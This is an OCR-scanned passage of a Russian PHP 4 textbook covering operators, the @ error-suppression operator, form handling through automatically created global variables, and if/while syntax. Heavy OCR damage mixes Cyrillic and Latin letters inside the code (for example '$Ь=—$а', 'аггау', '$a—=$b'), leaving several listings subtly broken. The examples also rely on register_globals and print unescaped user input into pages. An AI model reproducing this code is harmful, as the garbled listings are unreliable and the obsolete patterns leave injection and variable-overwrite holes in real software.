Существуют также парные рассмотренным операторы, которые указываются
до, а не после имени переменной. Соответственно, и возвращают они зна-
чение переменной уже после изменения . Вот пример:

$а=10;

$Ь=—$а;

echo "а=$а , Ь=$Ь"; // выведет а=9 , Ь=9

Операторы инкремента и декремента на практике применяются очень часто.
Например, они встречаются практически в любом цикле for .

Битовые операции

Эти операции предназначены для работы (установки/снятия/проверки)
групп битов в целой переменной. Биты целого числа — это не что иное, как
отдельные разряды того же самого числа, записанного в двоичной системе

----------------------- Page 153-----------------------
138 Часть III. Основы языка PHP

счисления. Например, в двоичной системе число 12 будет выглядеть как
1100, а 2 — как 10, так что выражение 12|2 вернет нам число 14 (1110 в дво-
ичной записи). Если переменная не целая, то она вначале округляется, а уж
затем к ней применяются перечисленные ниже операторы.

П а & ь -- результат — число, у которого установлены только те биты, ко-
торые установлены и у а, и у ь одновременно.

П а | ь - - результат — число, у которого установлены только те биты, ко-
торые установлены либо в а, либо в ь (либо одновременно).

П ~ а - результат, у которого на месте единиц в а стоят нули, и наоборот.

П а « ь — результат — число, полученное поразрядным сдвигом а на ь
битов влево.

П а » ь — аналогично, только вправо.

Операции сравнения

Это в своем роде уникальные операции, потому что независимо от типов
своих аргументов они всегда возвращают одно из двух: fals e или true .
Операции сравнения позволяют сравнивать два значения между собой и,
если условие выполнено, возвращают true , а если нет — false .

П а == ь — истина, если а равно ь .

П а != ь — истина, если а не равно ь .

П а < ь — истина, если а меньше ь .

П а > ь — аналогично больше.

П а <= ь — истина, если а меньше либо равно ь .

П а >= ь — аналогично больше либо равно.

Следует отметить, что в РНР сравнивать можно только скалярные (то есть
строки и числа) переменные. Для массивов и объектов этого делать нельзя.
Их даже нельзя сравнивать на равенство (при помощи оператора ==), но при
выполнении такой операции РНР не выдает предупреждения. Так что уди-
вившись как-то раз, почему это два совершенно разных массива при срав-
нении их с помощью == оказываются вдруг одинаковыми, вспомните, что
перед сравнением оба операнда преобразуются в слово Array , которое потом
и сравнивается.

Операция эквивалентности

В РНР версии 4 появился новый оператор сравнения — тройной знак ра-
венства ===, или оператор проверки на эквивалентность. Как мы уже заме-
чали ранее, РНР довольно терпимо относится к тому, что строки неявно

----------------------- Page 154-----------------------
Глава 7. Переменные, константы, выражения 139

преобразуются в числа, и наоборот. Например, следующий код выведет, что
значения переменных равны:

$а=10;

$Ь="10";

if($a==$b) echo "а и b равны";

И это несмотря на то, что переменная $а представляет собой число, а $ь -
строку. Впрочем, данный пример показывает, каким РНР может быть ус-
лужливым , когда нужно. Давайте теперь посмотрим, какой казус может по-
родить эта "услужливость".

$а=0; // ноль

$Ь=""; // пустая строка

if($a==$b) echo "а и b равны";

Хотя $а и $ь явно не равны даже в обычном понимании этого слова, про-
грамма заявит, что они совпадают. Почему так происходит? Дело в том, что
если один из операндов логического оператора может трактоваться как чис-
ло, то оба операнда трактуются как числа. При этом пустая строка превра-
щается в 0, который затем и сравнивается с нулем. Неудивительно, что опе-
ратор echo срабатывает.

Проблему решает оператор эквивалентности === (тройное равенство). Он не
только сравнивает два выражения, но также их типы. Перепишем наш при-
мер с использованием этого оператора:

$а=0; // ноль

$Ь=""; // пустая строка

if($a===$b) echo "а и b равны";

Вот теперь ничего напечатано не будет. Но возможности оператора эквива-
лентности идут далеко за пределы сравнения "обычных" переменных. С его
помощью можно сравнивать также и массивы, объекты и т. д. Это бывает
иногда очень удобно. Вот пример:

$а=аггау('а'=>'ааа');

$b=array('b'=>'bbb');
if ($a==$b) echo "С использованием == a=b<br>" ;

if ($a—=$b) echo "С использованием === a=b<br>";

Если запустить представленный код, то выведется первое сообщение, но не
второе. Произойдет это по той причине, что, как мы уже говорили, операн-
ды-массивы преобразуются в строки Array , которые затем и будут сравни-
ваться. Оператор === лишен этого недостатка, поэтому работает верно.

Разумеется, для оператора === существует и его антипод — оператор ! == (он
состоит также из трех символов!). Думаю, что не нужно объяснять, как он
работает.

----------------------- Page 155-----------------------
140 Часть III. Основы языка PHP

Логические операции

Эти операции предназначены исключительно для работы с логическими вы-
ражениями и также возвращают false или true .

П ] а — истина, если а ложно, и наоборот.

П а && ь — истина, если истинны и а, и ь.

П a i i ь — истина, если истинны или а, или ь, или они оба.

Следует заметить, что вычисление логических выражений, содержащих та-
кие операции, идет всегда слева направо, при этом, если результат уже оче-
виден (например, faise&&4To—г о всегда дает false) , то вычисления обры-
ваются, даже если в выражении присутствуют вызовы функций. Например,
в операторе

$logic = 0 & & ( t i m e ( ) > 1 0 0 ) ;

стандартная функция time о никогда не будет вызвана.

Будьте осторожны с логическими операциями — не забывайте про удваива-
ние символа. Обратите внимание , что, например , | и | | — два совершенно
разных оператора, один из которых может потенциально возвращать любое
число, а второй — только fals e и true .

Оператор отключения
предупреждений

Выдаче ясных и адекватных сообщений о возникших во время выполнения
сценария ошибках разработчики РНР заслуженно уделили особое внимание.
Наверное, вы уже запускали несколько простых PHP-программ из браузера
и имели удовольствие видеть, что все ошибки выводятся прямо в окно брау-
зера вместе с указанием, на какой строке и в каком файле они обнаружены.
Остается только в редакторе найти нужную строку и исправить ошибку.
Удобно, не правда ли?

С Замечание )

К сожалению, РНР — чуть ли не первый язык, который выводит предупрежде-
ния в браузер, а не в файлы журналов. Если вы работали некоторое время с
таким языком, как Perl, то, наверное, уже успели устать от бесконечных вере-
ниц "500-х ошибок", которые Perl выдает при малейшей оплошности в сцена-
рии. Теперь можете вздохнуть с облегчением: РНР никогда не выдаст сообще-
ние о 500-й ошибке, что бы ни произошло.

РНР устроен так, что ранжирует ошибки и предупреждения по четырем ос-
новным "уровням серьезности". Вы можете настроить его так, чтобы он вы-
давал только ошибки тех уровней, которые вас интересуют, игнорируя ос-

----------------------- Page 156-----------------------
Глава 7. Переменные, константы, выражения _ 141

тальные (то есть, не выводя предупреждений о них) . Впрочем, я рекомендую
всегда включать контроль ошибок no-максимуму , т. к. это может сущест-
венно упростить отладку программ. Допустим, мы так и поступили , и теперь
РНР "ругается" даже на незначительные ошибки .

.Однако не всегда это бывает удобно. Более того, иногда предупреждения со
стороны интерпретатора просто недопустимы. Рассмотрим, например, такой
сценарий (листинг 7.4):

I Листинг 7.4. Навязчивые предупреждения

<form action=test .php>

<input type=submit name="doGo" value="Click ! ">

</form>

<?

if($doGo) echo "Вы нажали кнопку!" ;

Мы хотели сделать так, чтобы при нажатии на кнопку выдавалось соответст-
вующее сообщение, но вот беда: теперь при первом запуске сценария РНР
выдаст предупреждение о том, что "переменная $dodick не инициализирова-
на". Ну не отключать же из-за такой мелочи контроль ошибок во всем сцена-
рии, не правда ли? Как бы нам временно блокировать проверку ошибок, что-
бы она не действовала только в одном месте, не влияя на остальной код?

Вот для этого и существует оператор @ (отключение ошибок). Если размес-
тить данный оператор перед любым выражением (возможно, включающим
вызовы функций, генерирующих предупреждения), то сообщения об ошиб-
ках в этом выражении будут подавлены и в окне браузера не отображены.

Замечание

На самом деле текст предупреждения сохраняется в переменной РНР
$php_errormsg, которая может быть в будущем проанализирована. Эта воз-
можность доступна, если в настройках РНР включен параметр track_errors
(по умолчанию он как раз и установлен в yes) .

Вот теперь мы можем переписать наш пример, грамотно отключив надоед-
ливое предупреждение (листинг 7.5).

I Листинг 7.5. Отключение навязчивого предупреждения

<form action=test .php>

<input type=submit name="doGo " value="Click ! ">

----------------------- Page 157-----------------------
142 Часть III. Основы языка PHP

</form>

if(@$doGo) echo "Вы нажали кнопку!" ;

Как можно заметить, листинг 7.5 отличается от листинга 7.4 всего лишь на-
личием оператора @ внутри скобок инструкции if .

(~ Замечание )

Еще раз хочу посоветовать вам включать максимальный контроль ошибок в
настройках РНР, а в спорных местах применять оператор @. Это просто, кра-
сиво, удобно. К тому же, как я уже говорил, способно в несколько раз облегчить
отладку сценариев, не работающих по загадочным причинам.

----------------------- Page 158-----------------------
Глава 8

Работа с данными
формы

Дойдя до этого места, я столкнулся с проблемой непростого выбора: про-
должать и дальше рассказывать о самом языке РНР или же чуть-чуть уйти в
сторону и рассмотреть более прикладные задачи. Я остановился на послед-
нем. Как-никак, Web-программирование в большей части (или хотя бы на-
половину) представляет собой как раз обработку различных данных, введен-
ных пользователем — т. е., обработку форм.

Пожалуй, нет другого такого языка, как РНР, который бы настолько облегчил
нам задачу обработки и разбора форм, поступивших из браузера. Дело в том,
что в язык на самом нижнем уровне встроены все необходимые возможности,
так что нам не придется даже и задумываться над особенностями протокола
HTTP и размышлять, как же происходит отправка и прием POST-форм или
даже загрузка файлов. Разработчики РНР все предусмотрели.

В первой главе мы довольно подробно рассмотрели механизм работы прото-
кола HTTP, который отвечает за доставку данных из браузера на сервер и
обратно. Впрочем, там было довольно много теории, так что предлагаю по-
вторить этот процесс еще раз — так сказать, с прикладных позиций, а также
разобрать возможности, предоставляемые РНР.

Передача данных командной строки

Вначале хочу вас поздравить: сейчас мы уже знаем достаточно, чтобы начать
писать простейшие сценарии на РНР типа "Hello world, сейчас 10 часов ут-
ра". Однако нашим сценариям будет недоставать одного — интерактивного
взаимодействия с пользователем.

Зададимся задачей написать сценарий , который принимает в параметрах
имя и возраст пользователя и выводит: "Привет, <имя>! Я знаю, вам
<возраст> лет!".

Сначала рассмотрим наиболее простой способ передачи имени и возраста
сценарию — непосредственный набор их в URL после знака ? — например ,
в формате пате=имя&аде=возраст (мы рассматривали этот прием в первой
части книги). Правда, даже программисту довольно утомительно набирать

----------------------- Page 159-----------------------
144 Часть III. Основы языка PHP

эту строку вручную. Всякие там ?, &, %.. . К счастью, существуют удобные
возможности языка HTML, которые, конечно, поддерживаются всеми брау-
зерами.
Итак, пусть у нас на сервере в корневом каталоге есть сценарий на РНР под
названием heiio.php . Наш сценарий распознает 2 параметра: name и age .
Он должен отработать и вывести следующую HTML-страницу:

<htmlxbody>

Прийет , name ! Я знаю , Вам age лет !

</body></html>

Разумеется, нужно name и age заменить на соответствующие значения. Та-
ким образом, если задать в адресной строке браузера
http://www.somehost.com/script.cgi?name=Vasya&age=20

мы должны получить страницу с требуемым результатом.
Как только задача осознана, можно приступать к ее решению. Но прежде
бывает полезно решить аналогичную, но более простую задачу. Итак, как же
нам в сценарии получить строку параметров, переданную после знака во-
проса в URL при обращении к сценарию? Как было указано в первой части
книги, для этого можно проанализировать переменную окружения
QUERY_STRING, КОТОрЭЯ В РНР ДОСТуПНа ПОД ИМеНСМ $QUERY_STRING . НаПИ-
шем небольшой пример, чтобы это проиллюстрировать (листинг 8.1).

! Листинг 8.1. Вывод параметров командной строки

<htmlxbody>

<?

echo "Данные из командной строки: $QUERY_STRING";

?>

</bodyx/html>

Если теперь мы запустим этот сценарий из браузера (перед этим сохранив
его в файле test.php в корневом каталоге сервера) примерно вот таким об-
разом:
http://www.myhost.com/test.php?aaa+bbb+ccc+ddd

то получим документ следующего содержания:
Данные из командной строки : aaa+bbb-t-ccc+ddd

Обратите внимание на то, что URL-декодирование символов не произошло:
строка $QUERY_STRING , как и одноименная переменная окружения, всегда
приходит в той же самой форме, в какой она была послана браузером. Да-
вайте запомним этот небольшой пример — он еще послужит нам в будущем.

----------------------- Page 160-----------------------
Глава 8. Работа с данными формы 145

Так как РНР изначально создавался именно как язык для Web-програм-
мирования, то он дополнительно проводит некоторую работу с переменной
$QUERY_STRING перед тем, как управление будет передано сценарию.
А именно, он разбивает ее по пробельным символам (в нашем примере про-
белов нет, их заменяют символы +, но эти символы РНР также понимает
правильно) и помещает полученные кусочки в массив-список $argv , кото-
рый впоследствии может быть проанализирован в программе. Заметьте, что
здесь действует точно такая же техника, которая принята в Си, с точностью
до названия массива с аргументами.
Все же массив $argv используется при программировании на РНР крайне
редко, что связано с гораздо большими возможностями интерпретатора по
разбору данных, поступивших от пользователя. Однако в некоторых
(обычно учебных) ситуациях его применение оправдано, так что не будем
забывать об этой возможности.

Формы

Вернемся к поставленной задаче. Как нам сделать, чтобы пользователь мог в
удобной форме ввести свое имя и возраст? Очевидно, нам придется создать
что-нибудь типа диалогового окна Windows, только в браузере. Итак, нам
понадобится обычный HTML-документ (например, по имени form.html в
корневом каталоге) с элементами этого диалога — текстовыми полями — и
кнопкой. Давайте возьмем ту же самую форму, которую я уже приводил в
примере в первой части книги, только теперь мы уже будем не просто раз-
бирать, как и куда поступают данные, а напишем сценарий, который эти
данные будет обрабатывать (листинг 8.2).

! Листинг8.2. form.html: страница с формой
! . -:

<htmlxbody>

<form action=hello.php>

Введите имя: <input type=text name="name" уа1ие="Неизвестный"><Ьг>

Введите возраст: <input type=text name="age" value="HeonpefleneHHbM"xbr>

<input type=submit value="Ha;KMHTe кнопку , чтобы запустить сценарий!">

</form>

</body></html>

Загрузим наш документ в браузер. Теперь, если ввести в поле с именем
свое имя, а в поле для возраста — свой возраст и нажать кнопку, браузер
автоматически обратится к сценарию hello.php и передаст через ? все ат-
рибуты, расположенные внутри тэгов <input> в форме и разделенные сим-
волом & в строке параметров. Заметьте, что в атрибуте action тэга <form>

----------------------- Page 161-----------------------
146 Часть III. Основы языка PHP

мы задали относительный путь, т. е. сценарий heiio.php будет искаться
браузером в том же самом каталоге, что и файл form.html .

Как мы знаем, все перекодирования и преобразования, которые нужны для
URL-кодирования данных, осуществляются браузером автоматически. В ча-
стности, буквы кириллицы превратятся в %хх , где хх — некоторое шестна-
дцатеричное число, обозначающее код символа.

Использование форм позволяет в принципе не нагружать пользователя такой
информацией, как имя сценария, его параметры и т. д. Он всегда будет иметь
дело только с полями, переключателями и кнопками формы.

| Листинг 8.3. hello .php — модель простого РНР-сценария

<htmlxbody>
<?

получаем в $name имя из параметров , а в $аде — возраст

echo "Привет , $name!<br> Я знаю , Вам $аде лет!" ;

?>

</html></body>

Осталось теперь только определиться, как мы можем извлечь $name и $аде
из строки параметров. Конечно, мы можем попытаться разобрать ее
"вручную" при помощи стандартных функций работы со строками (которых
в РНР великое множество), и этот прием действительно будет работать. Од-
нако, прежде чем браться за ненужное дело, давайте посмотрим, что нам
предлагает сам язык.

Трансляция полей формы
в переменные

Итак, мы не хотим заниматься прямым разбором переменной окружения
QUERY_STRING, в которой хранятся параметры сценария. И правильно не хо-
тим — интерпретатор перед запуском сценария делает все сам. Причем не-
зависимо от того, каким методом — GET или POST — воспользовался
"браузер". То есть, РНР сам определяет, какой метод был задействован
(благо, информация об этом доступна через переменную окружения
REQUEST_METHOD), и получает данные либо из QUERY_STRING , либо из стан-
дартного входного потока. Это крайне удобно и достойно подражания, во-
обще говоря, в любых CGI-сценариях.

А именно, интерпретатор все данные из полей формы преобразует в гло-
бальные одноименные переменные. В нашем случае значение поля name по-

----------------------- Page 162-----------------------
Глава 8. Работа с данными формы 147

еле начала работы программы будет храниться в переменной $name, а значе-
ние поля age -- в переменной $аде . То есть, не надо ничего ниоткуда
"получать" - - все уже установлено и распаковано из URL-кодировки. Мак-
симум удобств, минимум затрат, не правда ли? К тому же, еще и работает бы-
стрее, чем аналогичный кустарный код, написанный на РНР, потому что раз-
работчики РНР предусмотрели функцию разбора командной строки на Си.

Вот наш окончательный сценарий hello.php (листинг 8.4). Как видите, он
сжался до неприличных размеров:

I Листинг 8.4. hello.php: окончательная версия

<htmlxbody>
<? echo "Привет, $name!<br> Я знаю, Вам $аде лет! " ?>
</htmlx/body>

Давайте теперь его усовершенствуем — сделаем так, чтобы при запуске без
параметров сценарий выдавал документ с формой, а при нажатии кнопки -
выводил нужный текст. Самый простой способ определить, был ли сцена-
рий запущен без параметров — проверить, существует ли переменная с име-
нем, совпадающим с именем кнопки отправки. Если такая переменная су-
ществует, то, очевидно, что пользователь запустил программу, нажав на
кнопку. Здесь мы применим инструкцию if , которая нами еще не рассмат-
ривалась, но, думаю, читатель простит мне этот огрех (листинг 8.5).

I Листинг 8.5. hello.php: усовершенствованная версия

<html><body>
< ? i f ( ! @ $ d o G o) {?>
<form action="<?=$SCRIPT_NAME?>">
Введите имя: <input type=text name="name"xbr>
Введите возраст : <input type=text name="age"xbr>
<input type=submit narne="doGo" value="Ha;*MHTe кнопку !">
</form>
<?} else {?>
Привет , <?=$name?>!<br>
Я знаю , Вам <?=$age?> лет !

<?} ?>

</htmlx/body>

Из этого примера мы можем почерпнуть еще один удобный прием, который
нами пока не рассматривался. Это конструкция <?=выражение?> . Она явля-
ется ничем иным , как просто более коротким обозначением для

63ак. 699

----------------------- Page 163-----------------------
148 Часть III. Основы языка PHP

<?echo (выражение) ?>, и предназначена для того, чтобы вставлять величины
прямо в HTML-страницу.

С~ Замечание ^

Помните наши рассуждения о том, что же первично в РНР: текст или програм-
ма? Конструкция <?= применяется обычно в тот момент, когда выгодно счи-
тать, что первичен текст. В нашем примере именно так и происходит— ведь
кода на РНР тут очень мало, в основном страница состоит из HTML-тэгов.

Обратите внимание на полезный прием : в параметре action тэга <form > мы
не задали явно имя файла сценария, а извлекли его из переменной
SCRIPT_NAME (которая устанавливается автоматически перед запуском сцена-
рия). Это позволило нам не "привязываться" к имени файла, т. е. теперь мы
можем его в любой момент переименовать без потери функциональности.

Внимание

Если РНР установлен не как модуль Apache, а как отдельный обработчик, то
переменная $SCRIPT_NAME будет содержать не то значение, на которое мы
рассчитываем. Например, если воспользоваться способом инсталляции РНР,
который предлагается во второй части этой книги (когда мы устанавливаем
РНР именно как внешнюю программу, а не модуль Apache), после запуска сце-
нария переменная $SCRIPT_NAME будет содержать строку /_php7php.exe ,
что, конечно же, нам не подходит. "Правильное" значение в этом случае можно
найти в переменной окружения REDIRECTJJRL, или в переменной РНР
$REDIRECT_URL. Однако учтите, что в Unix, наоборот, REDIRECTJJRL рабо-
тать не будет! О том как разрешить этот парадокс, рассказано в главе 29.

К тому же, теперь исчезла необходимость и в промежуточном файле
form.html : его код встроен в сам сценарий. Именно так и нужно разрабаты-
вать сценарии: и просто и делу польза. Здесь действует общий принцип : чем
меньше файлов, задающих внешний вид страницы, тем лучше (только, ради
бога, не обобщайте это на файлы с программами — последствия могут быть
катастрофически ми!).

Трансляция переменных
окружения и Cookies

Однако "интеллектуальные" возможности РНР на этом далеко не исчерпы-
ваются. Дело в том, что в переменные преобразуются не только все данные
формы, но и переменные окружения (включая QUERY_STRING ,
CONTENT_LENGTH и многие другие), а также все Cookies.

Например, вот сценарий (листинг 8.6), который печатает IP-адрес пользова-
теля, который его запустил, а также тип его браузера (эти данные хранятся в
переменных окружения REMOTEJJSER и HTTP_USER_AGENT) :

----------------------- Page 164-----------------------
Глава 8. Работа с данными формы 149

: | Листинг 8.6. Вывод IP-адреса и браузера пользователя
- ••••- j

<htmlxbody>

Ваш IP-адрес: <?=$REMOTE_USER?Xbr>

Ваш браузер : <?=$HTTPJJSER_AGENT?>

</body></html>

По умолчанию трансляция выполняется в порядке ENVIRONMENT-GET-
POST-COOKIE, причем каждая следующая переменная как бы перекрывает
предыдущее свое значение. Например, пусть у нас есть переменная окруже-
ния А=Ю , параметр, поступивший из GET-формы А=20 и Cookie А=ЗО .
В этом случае в переменную $А сценария будет записано 30, поскольку
Cookie перекрывает GET , a GET перекрывает переменные окружения. Так что,
проверяя какую-либо переменную окружения VAR в сценарии (особенно ес-
ли она касается вопросов, связанных с разграничением прав доступа — на-
пример, переменная содержит пароль), задумайтесь на минутку: а что, если
злоумышленник запустит ваш сценарий вот так:
http://www.somehost.сот/Pоо.рЬр?\Ш*=что_то_очень_нехорошее

и старое значение переменной окружения VAR окажется стертым? К сча-
стью, в таких ситуациях есть выход — достаточно воспользоваться функцией
getenvo , чтобы прочитать значение переменной окружения с указанным
именем, и только его — невзирая ни на какие другие данные. Подробнее об
этой функции мы поговорим чуть позже.

Трансляция списков

Механизм трансляции полей формы в РНР работает приемлемо, когда среди
них нет полей с одинаковыми именами. Если же таковые встречаются, то в
переменную, ясное дело, записываются только данные последнего встре-
тившегося поля. Это довольно-таки неудобно при работе, например, со спи-
ском множественного выбора oelect multiplex
<select name=Sel multiple>

<option>First

<option>Second

<option>Third

</select>

В таком списке вы можете выбрать (подсветить) не одну, а сразу несколько
строчек, используя клавишу <Ctrl> и щелкая по ним кнопкой мыши . Пусть
мы выбрали First и Third . Тогда после отправки формы сценарию придет
строка параметров sei=First&sei=Third , и в переменной $sei окажется,
конечно, только Third . Значит ли это, что первый пункт потерялся и меха-

----------------------- Page 165-----------------------
1 50 _ Часть III. Основы языка PHP

низм трансляции в РНР работает некорректно? Так оно и было в РНР вер-
сии 3. Оказывается, нет, и для решения подобных проблем в РНР преду-
смотрена возможность давать имена полям формы в виде имени массива с
индексами:

Oelect name="Sel [] " multiple>

<option>First

<option>Second

<option>Third

</select>

Теперь сценарию придет строка sei []=First&Sei []=Third , интерпретатор
обнаружит, что мы хотим создать "автомассив" (то есть массив, который не
содержит пропусков, и у которого индексация начинается с нуля), и, дейст-
вительно, создаст переменную $sei типа массив, содержимое которого сле-
дующее: array <o=>"First" , l=>"Third") . Как мы видим, в результате ни-
чего не пропало — данные только слегка видоизменились.

Замечание

Подробнее про ассоциативные массивы и автомассивы читайте в главе 10.

Все же, забегая вперед, еще несколько слов об автомассивах. Рассмотрим
такой несложный пример программы:

После отработки этих строк будет создан массив $А, заполненный последо-
вательно числами 10, 20 и 30, с индексами, отсчитываемыми с нуля. То есть,
если внутри квадратных скобок при присваивании элементу массива не ука-
зано ничего, то подразумевается элемент массива, следующий за последним.
В общем-то это должно быть интуитивно понятным — именно на легкость в
использовании и ориентировались разработчики РНР.
Прием с автомассивом в поле <seiect muitipie> , действительно, выглядит
довольно элегантно. Однако не стоит думать, что он применим только к
этому элементу формы: автомассивы мы можем применять и в любых дру-
гих полях. Вот пример, создающий 2 переключателя (кнопки со значениями
вкл/выкл), один редактор строки и одно текстовое (многострочное) поле,
причем все данные после запуска сценария, обрабатывающего эту форму,
будут представлены в виде одного-единственного автомассива:
<input type=checkbox name=Arr [ ] value=chl>
<input type=checkbox name=Arr [ ] value=ch2>
<input type=text name=Arr[] value="Some string" >
<textarea name=Arr [ ] >Some text</textarea >

----------------------- Page 166-----------------------
Глава 8. Работа сданными формы 151

То есть, мы видим, что РНР совершенно нет никакого дела до того, в каких
элементах формы мы используем автомассивы — он в любом случае обраба-
тывает все одинаково. И это, пожалуй, правильно.

Трансляция массивов

В сущности, мы уже рассмотрели почти все возможности РНР по автомати-
ческой трансляции данных формы. Напоследок взглянем на еще одно по-
лезное свойство РНР. Пусть у нас есть такая форма (листинг 8.7):

; Листинг 8.7. Трансляция массивов

Имя : <input type=text name=Data[name]><br>

Адрес : <input type=text name=Data[address]><br>
Город:<br>

<input type=radio name=Data[city ] value=Moscow>MocKBa<br>

<input type=radio name=Data[city] value=Peter>CaHKT-IleTep6ypr<br>
<input type=radio name=Data[city] value=Kiev>KneB<br>

Можно догадаться, что после передачи подобных данных сценарию на РНР
в нем будет инициализирован ассоциативный массив $Data с ключами name,
address и city (ассоциативные массивы мы также затрагивали пока только
вскользь, но очень скоро этот пробел будет достойно восполнен). То есть,
имена полям формы можно давать не только простые, но и представленные
в виде одномерных ассоциативных массивов.

Забегая вперед, скажу, что в сценарии к отдельным элементам формы мож-
но будет обратиться при помощи указания ключа массива: например,
$oata [ 'city ' ] обозначает значение той радиокнопки , которая была выбра-
на пользователем, a $Data["name" ] — введенное имя. Заметьте, что в сцена-
рии мы обязательно должны заключать ключи в кавычки или апострофы —
в противном случае интерпретатором будет выведено предупреждение. В то
же время, в параметрах name полей формы мы, наоборот, должны их избе-
гать — уж так устроен РНР.

Внимание

Если верить официальной документации, то многомерные массивы (то есть,
массивы массивов) указывать нельзя. Например, при передаче данных поля,
определенного как <input type=text name=Silly[one][two][three] > в
программе, действительно, создастся массив $silly, но он будет одномерный
и с ключом one] [two ] [three — совсем не то, что мы ожидали, не правда ли?
В принципе, при большом желании можно написать функцию, которая конвер-
тирует такие "испорченные" массивы в нормальное многомерное представле-
ние, но это выходит за рамки нашего обзора.

----------------------- Page 167-----------------------
152 _ Часть III. Основы языка PHP

К счастью, похоже, разработчики РНР поняли, что неработоспособность
многомерных массивов при передаче их из формы серьезно снижает попу-
лярность РНР. Поэтому они наконец-то включили в РНР поддержку по-
следних. Ура! Например, в моей версии РНР 4.0.3 (самой свежей на момент
написания этих строк) они уже работают. Впрочем, в документации по-
прежнему заявлено, что "многомерные массивы использовать нельзя". Что
это — ошибка или злая шутка?..
Как же проверить, можно ли использовать многомерные массивы при обра-
ботке форм в вашей версии РНР? Нет ничего проще! Достаточно запустить
следующий сценарий (листинг 8.8).

! Листинг 8.8. testarr.php: работают ли многомерные массивы?

// оператор @ нужен , для того чтобы подавить предупреждение , если

/ / переменная еще не была инициализирована .

if(SSgo) {

if (@$A[10] [20]=="Yes") {

echo "Многомерные массивы работают ! " ;

} else {

echo "Многомерные массивы НЕ работают ! " ;

}
} else {

echo "<hl>Testing, wait . . . </hl>" ;

echo "<meta http-equiv=Refresh ";

echo "content='0; URL=$REQUEST_URI?go=l&A[l] [2]=Yes' >";

Вот вкратце, как он работает. При первом запуске переменная $до не ини-
циализирована, поэтому управление получает блок, выводящий тэг <meta> .
Он заставляет браузер перезагрузить страницу, но уже с параметрами в ко-
мандной строке go=i&A[i ] [2]=Yes . Сценарий запускается снова, но уже на
этот раз переменная $до равна 1 (потому что именно такое значение было
передано в командной строке). Если многомерные массивы поддержаны, то,
очевидно, что элемент массива $А[1 ] [2] , которому мы присвоили значение
Ye s в командной строке, будет существовать и равняться Yes . В этом случае
мы получим сообщение, что массивами пользоваться можно, а иначе — что
они не работают.

----------------------- Page 168-----------------------
Глава 9

Конструкции
языка

Ну вот мы и подобрались к языковым конструкциям. Некоторые из них на-
ми уже применялись , и не раз — например, инструкция if . В этой главе
приводится полное описание всех языковых конструкций РНР. Их не так
много, и это достоинство РНР. Как показывает практика, чем более лако-
ничен синтаксис языка, тем проще его использовать в повседневной прак-
тике. РНР — отличный пример этому.

О терминологии

Иногда я применяю слово "конструкция", а иногда — "инструкция". В данной
книге эти два термина совершенно эквивалентны. Наоборот, термины "опе-
ратор" и "операция" несут разную смысловую нагрузку: любая операция есть
оператор, но не наоборот. Например, echo — оператор, но не операция, а ++ -
операция.

Инструкция if-else

Начнем с самой простой инструкции — условного оператора. Его формат
таков:

if(логическое_выражение)

инструкция_1;

else

инструкция_2;

Действие его следующее: если логическое_выражение истинно, то выполня-
ется инструкция_1 , а иначе — инструкция_2 . Как и в любом другом языке ,
конструкция else может опускаться, в этом случае при получении должного
значения просто ничего не делается.

Пример:

if($a>=l&&$b<=10) echo "Все OK";

else echo "Неверное значение в переменной!" ;

----------------------- Page 169-----------------------
154 Часть III. Основы языка PHP

Если инструкция_ 1 или инструкция_2 должны состоять из нескольких ко-
манд, то они, как всегда, заключаются в фигурные скобки. Например:

if($a>$b) { print "а больше b"; c=$b ; )

elseif($a==$b) ( print "а равно b"; $c=$a ; }

else { print "а меньше b"; $c=$a; }

Это не опечатка: elseif слитно , вместо else if . Так тоже можно писать,
хотя это, по-моему, и не удобочитаемо.

Конструкция if-els e имеет еще один альтернативный синтаксис:

if (логическое__выражение) :

команды;

eiseif(другое_логическое_выражение):

другие_команды;

else:

иначе_команды;

endif

Обратите внимание на расположение двоеточия (:)! Если его пропустить,
будет сгенерировано сообщение об ошибке. И еще: как обычно, блоки
elseif И else МОЖНО опускать .

Использование альтернативного
синтаксиса

В предыдущих главах нами уже неоднократно рассматривался пример встав-
ки HTML-кода в тело сценария. Для этого достаточно было просто закрыть
скобку ?>, написать этот код, а затем снова открыть ее при помощи <? , и
продолжать программу.

Возможно, вы обратили внимание на то, как это некрасиво выглядит. Тем
не менее, если приложить немного усилий для оформления, все окажется не
так уж и плохо. Особенно, если использовать альтернативный синтаксис
if-eise и других конструкций языка.

Чаще всего, однако, нужно бывает делать не вставки HTML внутрь про-
граммы, а вставки кода внутрь HTML. Это гораздо проще для дизайнера,
который, возможно, в будущем захочет переоформить ваш сценарий, но не
сможет разобраться, что ему изменять, а что не трогать. Поэтому це-
лесообразно бывает отделять HTML-код от программы, например, помес-
тить его в отдельный файл, который затем подключается к программе при
помощи инструкции include (см. ниже). Сейчас мы не будем подробно ос-
танавливаться на этом вопросе, но потом обязательно к нему вернемся.

----------------------- Page 170-----------------------
Глава 9. Конструкции «зыка _ 155

Вот, например, как будет выглядеть наш старый знакомый сценарий, кото-
рый приветствует пользователя по имени, с использованием альтернатив-
ного синтаксиса if-eise (листинг 9.1):

! Листинг 9.1. Альтернативный синтаксис if-else

(@$go) :?>

Привет , <?=$name?> !

<?else : ?>

<form action=<?=$REQUEST_URI?> method=post>

Ваше имя : <input type=text name=name><br>

<input type=submit name=go value="OTOoraTb ! ">
<?endif?>

Согласитесь, что даже человек, совершенно не знакомый с РНР, но зато
хорошо разбирающийся в HTML, легко сможет додуматься, что к чему в
этом сценарии.

Цикл с предусловием while

Эта конструкция также унаследована непосредственно от Си. Ее предназна-
чение — цикличное выполнение команд в теле цикла, включающее предва-
рительную проверку, нужно ли это делать (истинно ли логическое выраже-
ние в заголовке). Если не нужно (выражение ложно), то конструкция
заканчивает свою работу, иначе выполняет очередную итерацию и начинает
все сначала. Выглядит цикл так:

while(логическое_выражение)

инструкция;

где, как обычно, логическое_выражение - логическое выражение, а
инструкция — простая или составная инструкция тела цикла. (Очевидно, что
внутри последнего должны производиться какие-то манипуляции, которые
будут иногда изменять значение нашего выражения, иначе оператор зацик-
лится. Это может быть, например, простое увеличение некоего счетчика,
участвующего в выражении, на единицу.) Если выражение с самого начала
ложно, то цикл не выполнится ни разу. Например:

$1=1; $р=1;

while($i<32) {

echo $p," ";
$р=$р*2; // можно было бы написать $р*=2

$i=$i+l; // можно было бы написать $i+=l или даже $i++

}

Данный пример выводит все степени двойки до 31-й включительно.

----------------------- Page 171-----------------------
156 Часть III. Основы языка PHP

Как и инструкция if , цикл while имеет альтернативный синтаксис, что уп-
рощает его применение вперемешку с HTML-кодом:

while(логическое_выражение) :

команды;

endwhile;

